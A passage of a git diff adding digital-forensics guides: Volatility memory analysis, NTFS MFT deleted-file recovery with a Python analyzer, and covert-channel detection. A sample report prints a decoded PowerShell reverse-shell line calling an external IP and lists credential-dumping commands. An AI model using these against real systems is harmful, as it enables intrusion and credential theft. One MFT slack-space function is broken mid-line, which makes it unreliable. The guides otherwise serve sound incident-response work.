+| Classification | TLP:AMBER | + +## Findings +| Finding | Severity | Details | +|---------|----------|---------| +| | | | + +## IOCs Extracted +| Type | Value | Context | +|------|-------|---------| +| | | | + +## Recommendations +1. +2. +3. diff --git a/skills/analyzing-malware-persistence-with-autoruns/references/standards.md b/skills/analyzing-malware-persistence-with-autoruns/references/standards.md new file mode 100644 index 00000000..b85199ba --- /dev/null +++ b/skills/analyzing-malware-persistence-with-autoruns/references/standards.md @@ -0,0 +1,9 @@ +# Standards Reference - analyzing-malware-persistence-with-autoruns + +## Applicable Standards +- MITRE ATT&CK Framework +- NIST SP 800-83 Guide to Malware Incident Prevention +- NIST SP 800-86 Guide to Integrating Forensic Techniques + +## Related MITRE ATT&CK Techniques +See SKILL.md for specific technique mappings. diff --git a/skills/analyzing-malware-persistence-with-autoruns/references/workflows.md b/skills/analyzing-malware-persistence-with-autoruns/references/workflows.md new file mode 100644 index 00000000..bcecc366 --- /dev/null +++ b/skills/analyzing-malware-persistence-with-autoruns/references/workflows.md @@ -0,0 +1,11 @@ +# Analysis Workflows - analyzing-malware-persistence-with-autoruns + +## Primary Workflow +``` +[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction] + | + v + [Report Generation] +``` + +See SKILL.md for detailed step-by-step procedures. diff --git a/skills/analyzing-memory-dumps-with-volatility/SKILL.md b/skills/analyzing-memory-dumps-with-volatility/SKILL.md new file mode 100644 index 00000000..cb15d237 --- /dev/null +++ b/skills/analyzing-memory-dumps-with-volatility/SKILL.md @@ -0,0 +1,298 @@ +--- +name: analyzing-memory-dumps-with-volatility +description: > + Analyzes RAM memory dumps from compromised systems using the Volatility framework to + identify malicious processes, injected code, network connections, loaded modules, and + extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates + for requests involving memory forensics, RAM analysis, volatile data examination, + process injection detection, or memory-resident malware investigation. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, memory-forensics, Volatility, RAM-analysis, incident-response] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Memory Dumps with Volatility + +## When to Use + +- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts +- Detecting fileless malware that exists only in memory without persistent disk artifacts +- Extracting encryption keys, passwords, or decrypted configuration from process memory +- Identifying process injection, DLL injection, or process hollowing in a compromised system +- Analyzing rootkit activity that hides from standard disk-based forensic tools + +**Do not use** for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics. + +## Prerequisites + +- Volatility 3 installed (`pip install volatility3`) with symbol tables for target OS +- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt) +- Knowledge of the source OS version for correct profile/symbol selection +- Sufficient disk space (memory dumps can be 4-64 GB) +- YARA rules for scanning memory for known malware signatures +- Strings utility for extracting readable strings from memory regions + +## Workflow + +### Step 1: Identify the Memory Dump Profile + +Determine the operating system and version from the memory dump: + +```bash +# Volatility 3: Automatic OS detection +vol3 -f memory.dmp windows.info + +# List available plugins +vol3 -f memory.dmp --help + +# If symbols are needed, download from: +# https://downloads.volatilityfoundation.org/volatility3/symbols/ + +# For Volatility 2 (legacy): +vol2 -f memory.dmp imageinfo +vol2 -f memory.dmp kdbgscan +``` + +### Step 2: Enumerate Running Processes + +List all processes and identify suspicious entries: + +```bash +# List all processes +vol3 -f memory.dmp windows.pslist + +# Process tree (parent-child relationships) +vol3 -f memory.dmp windows.pstree + +# Scan for hidden/unlinked processes (rootkit detection) +vol3 -f memory.dmp windows.psscan + +# Compare pslist vs psscan to find hidden processes +# Processes in psscan but not pslist are potentially hidden by rootkits + +# Check for process hollowing +vol3 -f memory.dmp windows.pslist --dump +# Then verify the dumped EXE matches the expected binary on disk +``` + +``` +Suspicious Process Indicators: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +- svchost.exe not spawned by services.exe (wrong parent) +- csrss.exe/lsass.exe with unusual parent process +- Multiple instances of lsass.exe (should be only one) +- Processes with misspelled names (scvhost.exe, lssas.exe) +- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser +- Processes running from unusual paths (%TEMP%, %APPDATA%) +- Processes with no parent (orphaned - parent terminated) +``` + +### Step 3: Detect Malicious Code Injection + +Scan for injected code and process hollowing: + +```bash +# Detect injected code in processes (malfind) +vol3 -f memory.dmp windows.malfind + +# Malfind looks for: +# - Memory regions with PAGE_EXECUTE_READWRITE protection +# - Memory regions containing PE headers (MZ/PE signature) +# - VAD (Virtual Address Descriptor) anomalies + +# Dump injected memory regions for analysis +vol3 -f memory.dmp windows.malfind --dump --pid 2184 + +# List loaded DLLs per process +vol3 -f memory.dmp windows.dlllist --pid 2184 + +# Detect hollowed processes by comparing mapped image to disk +vol3 -f memory.dmp windows.hollowfind + +# Scan for loaded drivers (potential rootkit drivers) +vol3 -f memory.dmp windows.driverscan + +# List kernel modules +vol3 -f memory.dmp windows.modules +``` + +### Step 4: Analyze Network Connections + +Extract active and closed network connections: + +```bash +# List all network connections (active and listening) +vol3 -f memory.dmp windows.netscan + +# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner + +# Filter for established connections to external IPs +vol3 -f memory.dmp windows.netscan | grep ESTABLISHED + +# For older Windows (XP/2003): +vol3 -f memory.dmp windows.netstat + +# Cross-reference PIDs with process list +# Suspicious: svchost.exe connected to external IP on non-standard port +# Suspicious: notepad.exe or calc.exe with network connections +``` + +### Step 5: Extract Artifacts and Credentials + +Recover sensitive data from memory: + +```bash +# Dump process memory for a specific PID +vol3 -f memory.dmp windows.memmap --dump --pid 2184 + +# Extract command-line history +vol3 -f memory.dmp windows.cmdline + +# Extract environment variables +vol3 -f memory.dmp windows.envars --pid 2184 + +# Registry analysis (extract Run keys for persistence) +vol3 -f memory.dmp windows.registry.printkey \ + --key "Software\Microsoft\Windows\CurrentVersion\Run" + +# Extract hashed/cached credentials +vol3 -f memory.dmp windows.hashdump +vol3 -f memory.dmp windows.cachedump +vol3 -f memory.dmp windows.lsadump + +# Extract clipboard contents +vol3 -f memory.dmp windows.clipboard + +# File extraction from memory +vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious" +vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560 +``` + +### Step 6: Scan Memory with YARA Rules + +Apply YARA signatures to detect known malware in memory: + +```bash +# Scan entire memory dump with YARA rules +vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar + +# Scan specific process memory +vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184 + +# Built-in YARA scan for common patterns +vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }" + +# Scan for encryption key material +vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }" +``` + +### Step 7: Timeline and Report Generation + +Create an analysis timeline and compile findings: + +```bash +# Generate comprehensive timeline +vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv + +# Timeline includes: +# - Process creation/exit times +# - Network connection timestamps +# - Registry modification times +# - File access times + +# Export process list for reporting +vol3 -f memory.dmp windows.pslist --output csv > processes.csv + +# Export network connections +vol3 -f memory.dmp windows.netscan --output csv > network.csv +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Memory Forensics** | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk | +| **Process Hollowing** | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution | +| **Malfind** | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs | +| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing | +| **EPROCESS** | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools | +| **Pool Tag Scanning** | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked | +| **Fileless Malware** | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics | + +## Tools & Systems + +- **Volatility 3**: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture +- **WinPmem**: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis +- **LiME (Linux Memory Extractor)**: Loadable kernel module for capturing Linux system memory dumps +- **Rekall**: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful) +- **MemProcFS**: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis + +## Common Scenarios + +### Scenario: Detecting Fileless Malware After EDR Alert + +**Context**: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement. + +**Approach**: +1. Run `windows.pstree` to identify the process chain (which process spawned PowerShell) +2. Run `windows.malfind` to detect injected code in running processes +3. Dump the suspicious process memory and extract strings for C2 URLs +4. Run `windows.netscan` to identify network connections from the compromised processes +5. Run `windows.cmdline` to see what commands PowerShell executed +6. Scan with YARA rules for known malware families in the dumped process memory +7. Extract credentials with `hashdump` and `lsadump` to assess lateral movement risk + +**Pitfalls**: +- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results) +- Not comparing `pslist` vs `psscan` output (missing rootkit-hidden processes) +- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names) +- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs) + +## Output Format + +``` +MEMORY FORENSICS ANALYSIS REPORT +=================================== +Dump File: memory.dmp +Dump Size: 16 GB +OS Version: Windows 10 21H2 (Build 19044) +Capture Tool: WinPmem 4.0 +Capture Time: 2025-09-15 14:35:00 UTC + +SUSPICIOUS PROCESSES +PID PPID Name Path Anomaly +2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path +4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost +3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell + +CODE INJECTION DETECTED (malfind) +PID 852 (explorer.exe): + Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE + Header: MZ (embedded PE detected) + SHA-256 of dump: abc123def456... + +NETWORK CONNECTIONS +PID Process Local Foreign State +2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED +4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED + +EXTRACTED CREDENTIALS +Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 + +COMMAND LINE HISTORY +PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA== + Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443) + +YARA MATCHES +PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 } + +TIMELINE +14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\ +14:10:05 Network connection to 185.220.101.42:443 established +14:12:30 powershell.exe (PID 4012) spawned by svchost.exe +14:15:00 Code injection into explorer.exe (PID 852) detected +14:20:00 Credential dump from LSASS process +``` diff --git a/skills/analyzing-mft-for-deleted-file-recovery/SKILL.md b/skills/analyzing-mft-for-deleted-file-recovery/SKILL.md new file mode 100644 index 00000000..f8576a91 --- /dev/null +++ b/skills/analyzing-mft-for-deleted-file-recovery/SKILL.md @@ -0,0 +1,188 @@ +--- +name: analyzing-mft-for-deleted-file-recovery +description: Analyze the NTFS Master File Table ($MFT) to recover metadata and content of deleted files by examining MFT record entries, $LogFile, $UsnJrnl, and MFT slack space using MFTECmd, analyzeMFT, and X-Ways Forensics. +domain: cybersecurity +subdomain: digital-forensics +tags: [mft, ntfs, deleted-files, file-recovery, mftecmd, usn-journal, logfile, mft-slack-space, file-system-forensics, dfir] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing MFT for Deleted File Recovery + +## Overview + +The NTFS Master File Table ($MFT) is the central metadata repository for every file and directory on an NTFS volume. Each file is represented by at least one 1024-byte MFT record containing attributes such as $STANDARD_INFORMATION (timestamps, permissions), $FILE_NAME (name, parent directory, timestamps), and $DATA (file content or cluster run pointers). When a file is deleted, its MFT record is marked as inactive (InUse flag cleared) but the metadata remains until the entry is reallocated by a new file. This persistence makes MFT analysis a primary technique for recovering deleted file evidence, reconstructing file system timelines, and detecting anti-forensic activity such as timestomping. + +## Prerequisites + +- Forensic disk image (E01, raw/dd, VMDK, or VHDX format) +- MFTECmd (Eric Zimmerman) or analyzeMFT (Python-based) +- FTK Imager, Arsenal Image Mounter, or similar for image mounting +- Timeline Explorer or Excel for CSV analysis +- Python 3.8+ for custom analysis scripts +- Understanding of NTFS file system internals + +## MFT Structure and Record Layout + +### MFT Record Header + +Each MFT record begins with the signature "FILE" (0x46494C45) and contains: + +| Offset | Size | Field | +|--------|------|-------| +| 0x00 | 4 bytes | Signature ("FILE") | +| 0x04 | 2 bytes | Offset to update sequence | +| 0x06 | 2 bytes | Size of update sequence | +| 0x08 | 8 bytes | $LogFile sequence number | +| 0x10 | 2 bytes | Sequence number | +| 0x12 | 2 bytes | Hard link count | +| 0x14 | 2 bytes | Offset to first attribute | +| 0x16 | 2 bytes | Flags (0x01 = InUse, 0x02 = Directory) | +| 0x18 | 4 bytes | Used size of MFT record | +| 0x1C | 4 bytes | Allocated size of MFT record | +| 0x20 | 8 bytes | Base file record reference | +| 0x28 | 2 bytes | Next attribute ID | + +### Key MFT Attributes + +| Type ID | Name | Description | +|---------|------|-------------| +| 0x10 | $STANDARD_INFORMATION | Timestamps, flags, owner ID, security ID | +| 0x30 | $FILE_NAME | Filename, parent MFT reference, timestamps | +| 0x40 | $OBJECT_ID | Unique GUID for the file | +| 0x50 | $SECURITY_DESCRIPTOR | ACL permissions | +| 0x60 | $VOLUME_NAME | Volume label (volume metadata files only) | +| 0x80 | $DATA | File content (resident if <700 bytes) or cluster run list | +| 0x90 | $INDEX_ROOT | B-tree index root for directories | +| 0xA0 | $INDEX_ALLOCATION | B-tree index entries for large directories | +| 0xB0 | $BITMAP | Allocation bitmap for index or MFT | + +## Deleted File Recovery Techniques + +### Technique 1: MFT Record Analysis with MFTECmd + +```powershell +# Extract $MFT from forensic image using KAPE or FTK Imager +# Parse the $MFT with MFTECmd +MFTECmd.exe -f "C:\Evidence\$MFT" --csv C:\Output --csvf mft_full.csv + +# Filter for deleted files (InUse = FALSE) in Timeline Explorer +# Look for entries where InUse column is False +``` + +**Identifying Deleted Files in CSV Output:** +- `InUse` = False indicates a deleted or reallocated record +- `ParentPath` shows original file location before deletion +- `FileSize` shows the original size (may still be recoverable) +- Timestamps in `$STANDARD_INFORMATION` and `$FILE_NAME` attributes persist + +### Technique 2: USN Journal ($UsnJrnl:$J) Analysis + +The USN Journal records all changes to files on an NTFS volume, including creation, deletion, rename, and data modification events. + +```powershell +# Parse USN Journal with MFTECmd +MFTECmd.exe -f "C:\Evidence\$J" --csv C:\Output --csvf usn_journal.csv + +# Key USN reason codes for deletion evidence: +# USN_REASON_FILE_DELETE = 0x00000200 +# USN_REASON_CLOSE = 0x80000000 +# USN_REASON_RENAME_OLD_NAME = 0x00001000 +# USN_REASON_RENAME_NEW_NAME = 0x00002000 +``` + +### Technique 3: $LogFile Transaction Analysis + +The $LogFile stores NTFS transaction records that can reveal file operations even after the USN Journal has been cycled. + +```powershell +# Parse $LogFile with LogFileParser +LogFileParser.exe -l "C:\Evidence\$LogFile" -o C:\Output + +# Look for REDO and UNDO operations indicating file deletion: +# - DeallocateFileRecordSegment +# - DeleteAttribute +# - UpdateResidentValue (clearing InUse flag) +``` + +### Technique 4: MFT Slack Space Analysis + +MFT slack space exists between the end of the used portion of an MFT record and the end of the allocated 1024 bytes. This area may contain remnants of previous file records. + +```python +import struct + +def parse_mft_slack(mft_path: str, output_path: str): + """Extract and analyze MFT slack space for deleted file remnants.""" + with open(mft_path, "rb") as f: + record_size = 1024 + record_num = 0 + slack_findings = [] + + while True: + record = f.read(record_size) + if len(record) < record_size: + break + + # Verify FILE signature + if record[:4] != b"FILE": + record_num += 1 + continue + + # Get used size from offset 0x18 + used_size = struct.unpack(" 0x20 and c < 0x7F for c in slack[:50]): + slack_findings.append({ + "record": record_num, + "used_size": used_size, + "slack_size": record_size - used_size, + "slack_preview": slack[:100].hex() + }) + + record_num += 1 + + return slack_findings +``` + +## Correlation with Supporting Artifacts + +### Cross-Reference MFT with $Recycle.Bin + +```powershell +# Parse Recycle Bin with RBCmd +RBCmd.exe -d "C:\Evidence\$Recycle.Bin" --csv C:\Output --csvf recycle_bin.csv + +# Correlate: $I files contain original path and deletion timestamp +# Match MFT entry numbers from $R files back to original MFT records +``` + +### Cross-Reference MFT with Volume Shadow Copies + +```powershell +# List volume shadow copies +vssadmin list shadows + +# Mount shadow copies and extract $MFT from each +# Compare MFT records across shadow copies to track file changes over time +``` + +## Forensic Value + +- **Deleted file metadata recovery**: Original filename, path, size, and timestamps +- **Timeline reconstruction**: File creation, modification, access, and deletion events +- **Timestomping detection**: Comparing $SI vs $FN timestamps +- **Data carving guidance**: MFT cluster runs point to file content on disk +- **Anti-forensic detection**: Identifying wiped or manipulated MFT records + +## References + +- NTFS MFT Advanced Forensic Analysis: https://www.deaddisk.com/posts/ntfs-mft-advanced-forensic-analysis-guide/ +- MFT Slack Space Forensic Value: https://www.sygnia.co/blog/the-forensic-value-of-mft-slack-space/ +- MFTECmd Documentation: https://ericzimmerman.github.io/ +- SANS FOR500: Windows Forensic Analysis diff --git a/skills/analyzing-mft-for-deleted-file-recovery/assets/template.md b/skills/analyzing-mft-for-deleted-file-recovery/assets/template.md new file mode 100644 index 00000000..6e9589d3 --- /dev/null +++ b/skills/analyzing-mft-for-deleted-file-recovery/assets/template.md @@ -0,0 +1,31 @@ +# MFT Deleted File Recovery Report Template + +## Case Information +| Field | Value | +|-------|-------| +| Case Number | | +| Examiner | | +| Date | | +| Evidence Source | | +| MFT Hash (SHA-256) | | + +## Summary Statistics +| Metric | Count | +|--------|-------| +| Total MFT Records | | +| Active Records | | +| Deleted Records | | +| Timestomped Records | | + +## Deleted Files of Interest +| Entry # | Filename | Original Path | Size | Created | Modified | +|---------|----------|---------------|------|---------|----------| +| | | | | | | + +## Timestomping Indicators +| Entry # | Filename | $SI Created | $FN Created | Delta | +|---------|----------|------------|------------|-------| +| | | | | | + +## Conclusion +_(Summary of deleted file recovery findings)_ diff --git a/skills/analyzing-mft-for-deleted-file-recovery/references/standards.md b/skills/analyzing-mft-for-deleted-file-recovery/references/standards.md new file mode 100644 index 00000000..4a39747b --- /dev/null +++ b/skills/analyzing-mft-for-deleted-file-recovery/references/standards.md @@ -0,0 +1,28 @@ +# Standards and References - MFT Deleted File Recovery + +## Standards +- NIST SP 800-86: Guide to Integrating Forensic Techniques into Incident Response +- ISO/IEC 27037: Guidelines for identification, collection, acquisition and preservation of digital evidence +- SWGDE Best Practices for Computer Forensics + +## Key Technical References +- NTFS Documentation (Microsoft): File system internals and MFT structure +- MFTECmd by Eric Zimmerman: Primary parsing tool for $MFT, $J, $LogFile, $Boot +- analyzeMFT (Python): Open-source MFT parser for cross-platform analysis +- ntfstool (GitHub): Forensics tool for NTFS parsing, MFT, BitLocker, deleted files + +## MITRE ATT&CK Mappings +- T1070.004 - Indicator Removal: File Deletion +- T1070.006 - Indicator Removal: Timestomping +- T1485 - Data Destruction +- T1561 - Disk Wipe + +## NTFS Specifications +- MFT Record Size: 1024 bytes (default) +- MFT Entry 0: $MFT (self-reference) +- MFT Entry 1: $MFTMirr (mirror of first 4 entries) +- MFT Entry 2: $LogFile (transaction log) +- MFT Entry 5: Root directory +- MFT Entry 6: $Bitmap (cluster allocation) +- MFT Entry 8: $BadClus (bad cluster list) +- MFT Entry 11: $Extend (extended metadata) diff --git a/skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md b/skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md new file mode 100644 index 00000000..21b194bf --- /dev/null +++ b/skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md @@ -0,0 +1,46 @@ +# Workflows - MFT Deleted File Recovery + +## Workflow 1: Basic Deleted File Discovery +``` +Extract $MFT from forensic image + | +Parse with MFTECmd to CSV + | +Filter for InUse = False (deleted records) + | +Analyze ParentPath, FileName, FileSize + | +Cross-reference with USN Journal for deletion timestamps + | +Document findings with original paths and timestamps +``` + +## Workflow 2: MFT Slack Space Recovery +``` +Extract raw $MFT binary + | +Parse each 1024-byte record + | +Compare used_size vs allocated_size (1024) + | +Extract slack bytes between used and allocated + | +Search for attribute headers (0x10, 0x30, 0x80) + | +Reconstruct partial file metadata from slack data +``` + +## Workflow 3: Timeline Reconstruction +``` +Parse $MFT for all timestamps ($SI and $FN) + | +Parse $J (USN Journal) for change records + | +Parse $LogFile for transaction records + | +Merge into unified timeline + | +Identify file creation, modification, deletion sequences + | +Flag timestomping indicators ($SI Created < $FN Created) +``` diff --git a/skills/analyzing-mft-for-deleted-file-recovery/scripts/process.py b/skills/analyzing-mft-for-deleted-file-recovery/scripts/process.py new file mode 100644 index 00000000..2a9d89b5 --- /dev/null +++ b/skills/analyzing-mft-for-deleted-file-recovery/scripts/process.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 +""" +MFT Deleted File Recovery Analyzer + +Parses MFT CSV output from MFTECmd to identify deleted files, +detect timestomping, and generate recovery reports. +""" + +import csv +import json +import sys +import os +from datetime import datetime +from collections import defaultdict + + +class MFTDeletedFileAnalyzer: + """Analyze MFTECmd CSV output for deleted file recovery.""" + + def __init__(self, mft_csv_path: str, output_dir: str): + self.mft_csv_path = mft_csv_path + self.output_dir = output_dir + os.makedirs(output_dir, exist_ok=True) + self.deleted_files = [] + self.timestomped_files = [] + self.all_records = [] + + def parse_csv(self): + """Parse MFTECmd CSV output.""" + with open(self.mft_csv_path, "r", encoding="utf-8-sig") as f: + reader = csv.DictReader(f) + for row in reader: + self.all_records.append(row) + if row.get("InUse", "").lower() == "false": + self.deleted_files.append(row) + + def detect_timestomping(self): + """Identify files with timestomping indicators.""" + for row in self.all_records: + si_created = row.get("Created0x10", "") + fn_created = row.get("Created0x30", "") + if si_created and fn_created and si_created != fn_created: + try: + si_dt = datetime.fromisoformat(si_created.replace("Z", "+00:00")) + fn_dt = datetime.fromisoformat(fn_created.replace("Z", "+00:00")) + if si_dt < fn_dt: + self.timestomped_files.append({ + "entry_number": row.get("EntryNumber", ""), + "filename": row.get("FileName", ""), + "parent_path": row.get("ParentPath", ""), + "si_created": si_created, + "fn_created": fn_created, + "delta_seconds": (fn_dt - si_dt).total_seconds() + }) + except (ValueError, TypeError): + continue + + def analyze_deleted_by_extension(self) -> dict: + """Categorize deleted files by extension.""" + by_ext = defaultdict(list) + for record in self.deleted_files: + ext = record.get("Extension", "NO_EXT").upper() + by_ext[ext].append({ + "filename": record.get("FileName", ""), + "parent_path": record.get("ParentPath", ""), + "file_size": record.get("FileSize", ""), + "created": record.get("Created0x10", ""), + "modified": record.get("LastModified0x10", "") + }) + return dict(by_ext) + + def generate_report(self) -> str: + """Generate comprehensive analysis report.""" + self.parse_csv() + self.detect_timestomping() + ext_analysis = self.analyze_deleted_by_extension() + + report = { + "analysis_timestamp": datetime.now().isoformat(), + "source_file": self.mft_csv_path, + "total_records": len(self.all_records), + "deleted_records": len(self.deleted_files), + "timestomped_records": len(self.timestomped_files), + "deleted_by_extension": {k: len(v) for k, v in ext_analysis.items()}, + "timestomping_details": self.timestomped_files[:50], + "notable_deleted_files": [ + { + "filename": r.get("FileName", ""), + "parent_path": r.get("ParentPath", ""), + "file_size": r.get("FileSize", ""), + "entry_number": r.get("EntryNumber", "") + } + for r in self.deleted_files[:100] + ] + } + + report_path = os.path.join(self.output_dir, "mft_deleted_analysis.json") + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + + print(f"[*] Total MFT records: {report['total_records']}") + print(f"[*] Deleted records: {report['deleted_records']}") + print(f"[*] Timestomped records: {report['timestomped_records']}") + print(f"[*] Report saved to: {report_path}") + return report_path + + +def main(): + if len(sys.argv) < 3: + print("Usage: python process.py ") + sys.exit(1) + + analyzer = MFTDeletedFileAnalyzer(sys.argv[1], sys.argv[2]) + analyzer.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-network-covert-channels-in-malware/SKILL.md b/skills/analyzing-network-covert-channels-in-malware/SKILL.md new file mode 100644 index 00000000..6e20b302 --- /dev/null +++ b/skills/analyzing-network-covert-channels-in-malware/SKILL.md @@ -0,0 +1,185 @@ +--- +name: analyzing-network-covert-channels-in-malware +description: Detect and analyze covert communication channels used by malware including DNS tunneling, ICMP exfiltration, steganographic HTTP, and protocol abuse for C2 and data exfiltration. +domain: cybersecurity +subdomain: malware-analysis +tags: [covert-channels, dns-tunneling, icmp-exfiltration, malware-analysis, network-forensics, c2-detection, data-exfiltration] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Network Covert Channels in Malware + +## Overview + +Malware uses covert channels to disguise C2 communication and data exfiltration within legitimate-looking network traffic. DNS tunneling encodes data in DNS queries and responses (used by tools like iodine, dnscat2, and malware families like FrameworkPOS). ICMP tunneling hides data in echo request/reply payloads (icmpsh, ptunnel). HTTP covert channels embed C2 data in headers, cookies, or steganographic images. Protocol abuse exploits allowed protocols to bypass firewalls. DNS tunneling detection achieves 99%+ recall with modern ML-based approaches, though low-throughput exfiltration remains challenging. Palo Alto Unit42 tracked three major DNS tunneling campaigns (TrkCdn, SecShow, Savvy Seahorse) through 2024, showing the technique's continued prevalence. + +## Prerequisites + +- Python 3.9+ with `scapy`, `dpkt`, `dnslib` +- Wireshark/tshark for PCAP analysis +- Zeek (formerly Bro) for network monitoring +- DNS query logging infrastructure +- Understanding of DNS, ICMP, HTTP protocols at packet level + +## Practical Steps + +### Step 1: DNS Tunneling Detection + +```python +#!/usr/bin/env python3 +"""Detect DNS tunneling and covert channels in network traffic.""" +import sys +import json +import math +from collections import Counter, defaultdict + +try: + from scapy.all import rdpcap, DNS, DNSQR, DNSRR, IP, ICMP +except ImportError: + print("pip install scapy") + sys.exit(1) + + +def entropy(data): + if not data: + return 0 + freq = Counter(data) + length = len(data) + return -sum((c/length) * math.log2(c/length) for c in freq.values()) + + +def analyze_dns_tunneling(pcap_path): + """Detect DNS tunneling indicators in PCAP.""" + packets = rdpcap(pcap_path) + domain_stats = defaultdict(lambda: { + "queries": 0, "total_qname_len": 0, "subdomain_lengths": [], + "query_types": Counter(), "unique_subdomains": set(), + }) + + for pkt in packets: + if pkt.haslayer(DNS) and pkt.haslayer(DNSQR): + qname = pkt[DNSQR].qname.decode('utf-8', errors='replace').rstrip('.') + qtype = pkt[DNSQR].qtype + + parts = qname.split('.') + if len(parts) >= 3: + base_domain = '.'.join(parts[-2:]) + subdomain = '.'.join(parts[:-2]) + + stats = domain_stats[base_domain] + stats["queries"] += 1 + stats["total_qname_len"] += len(qname) + stats["subdomain_lengths"].append(len(subdomain)) + stats["query_types"][qtype] += 1 + stats["unique_subdomains"].add(subdomain) + + # Score domains for tunneling indicators + suspicious = [] + for domain, stats in domain_stats.items(): + if stats["queries"] < 5: + continue + + avg_subdomain_len = (sum(stats["subdomain_lengths"]) / + len(stats["subdomain_lengths"])) + unique_ratio = len(stats["unique_subdomains"]) / stats["queries"] + + # Calculate subdomain entropy + all_subdomains = ''.join(stats["unique_subdomains"]) + sub_entropy = entropy(all_subdomains) + + score = 0 + reasons = [] + + if avg_subdomain_len > 30: + score += 30 + reasons.append(f"Long subdomains (avg {avg_subdomain_len:.0f} chars)") + if unique_ratio > 0.9: + score += 25 + reasons.append(f"High uniqueness ({unique_ratio:.2%})") + if sub_entropy > 4.0: + score += 25 + reasons.append(f"High entropy ({sub_entropy:.2f})") + if stats["query_types"].get(16, 0) > 10: # TXT records + score += 20 + reasons.append(f"Many TXT queries ({stats['query_types'][16]})") + + if score >= 50: + suspicious.append({ + "domain": domain, + "score": score, + "queries": stats["queries"], + "avg_subdomain_length": round(avg_subdomain_len, 1), + "unique_subdomains": len(stats["unique_subdomains"]), + "subdomain_entropy": round(sub_entropy, 2), + "reasons": reasons, + }) + + return sorted(suspicious, key=lambda x: -x["score"]) + + +def analyze_icmp_tunneling(pcap_path): + """Detect ICMP tunneling in PCAP.""" + packets = rdpcap(pcap_path) + icmp_stats = defaultdict(lambda: {"count": 0, "payload_sizes": [], "payloads": []}) + + for pkt in packets: + if pkt.haslayer(ICMP) and pkt.haslayer(IP): + src = pkt[IP].src + dst = pkt[IP].dst + key = f"{src}->{dst}" + + payload = bytes(pkt[ICMP].payload) + icmp_stats[key]["count"] += 1 + icmp_stats[key]["payload_sizes"].append(len(payload)) + if len(payload) > 64: + icmp_stats[key]["payloads"].append(payload[:100]) + + suspicious = [] + for flow, stats in icmp_stats.items(): + if stats["count"] < 5: + continue + avg_size = sum(stats["payload_sizes"]) / len(stats["payload_sizes"]) + if avg_size > 64 or stats["count"] > 100: + suspicious.append({ + "flow": flow, + "packets": stats["count"], + "avg_payload_size": round(avg_size, 1), + "reason": "Large/frequent ICMP payloads suggest tunneling", + }) + + return suspicious + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + + print("[+] DNS Tunneling Analysis") + dns_results = analyze_dns_tunneling(sys.argv[1]) + for r in dns_results: + print(f" {r['domain']} (score: {r['score']})") + for reason in r['reasons']: + print(f" - {reason}") + + print("\n[+] ICMP Tunneling Analysis") + icmp_results = analyze_icmp_tunneling(sys.argv[1]) + for r in icmp_results: + print(f" {r['flow']}: {r['reason']}") +``` + +## Validation Criteria + +- DNS tunneling detected via entropy, subdomain length, and query volume 